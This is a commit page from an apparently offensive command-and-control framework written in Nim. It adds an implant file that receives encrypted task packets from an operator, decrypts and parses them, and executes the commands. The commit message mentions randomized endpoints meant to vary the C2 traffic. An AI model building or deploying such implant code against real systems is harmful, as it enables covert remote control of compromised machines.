Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
74
src/agent/protocol/task.nim
Normal file
74
src/agent/protocol/task.nim
Normal file
@@ -0,0 +1,74 @@
|
||||
import strutils, tables, json, strformat, sugar
|
||||
|
||||
import ./result
|
||||
import ../../modules/manager
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
proc handleTask*(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
return getCommandByType(cast[CommandType](task.command)).execute(ctx, task)
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_TASK))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
listenerId = unpacker.getUint32()
|
||||
timestamp = unpacker.getUint32()
|
||||
command = unpacker.getUint16()
|
||||
|
||||
var argCount = unpacker.getUint8()
|
||||
var args = newSeq[TaskArg]()
|
||||
|
||||
# Parse arguments
|
||||
var i = 0
|
||||
while i < int(argCount):
|
||||
args.add(unpacker.getArgument())
|
||||
inc i
|
||||
|
||||
return Task(
|
||||
header: header,
|
||||
taskId: taskId,
|
||||
listenerId: listenerId,
|
||||
timestamp: timestamp,
|
||||
command: command,
|
||||
argCount: argCount,
|
||||
args: args
|
||||
)
|
||||
|
||||
proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
|
||||
|
||||
result = newSeq[Task]()
|
||||
|
||||
var unpacker = Unpacker.init(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
if taskCount <= 0:
|
||||
return @[]
|
||||
|
||||
while taskCount > 0:
|
||||
|
||||
# Read length of each task and store the task object in a seq[byte]
|
||||
let
|
||||
taskLength = unpacker.getUint32()
|
||||
taskBytes = unpacker.getBytes(int(taskLength))
|
||||
|
||||
result.add(ctx.deserializeTask(taskBytes))
|
||||
|
||||
dec taskCount
|
||||
Reference in New Issue
Block a user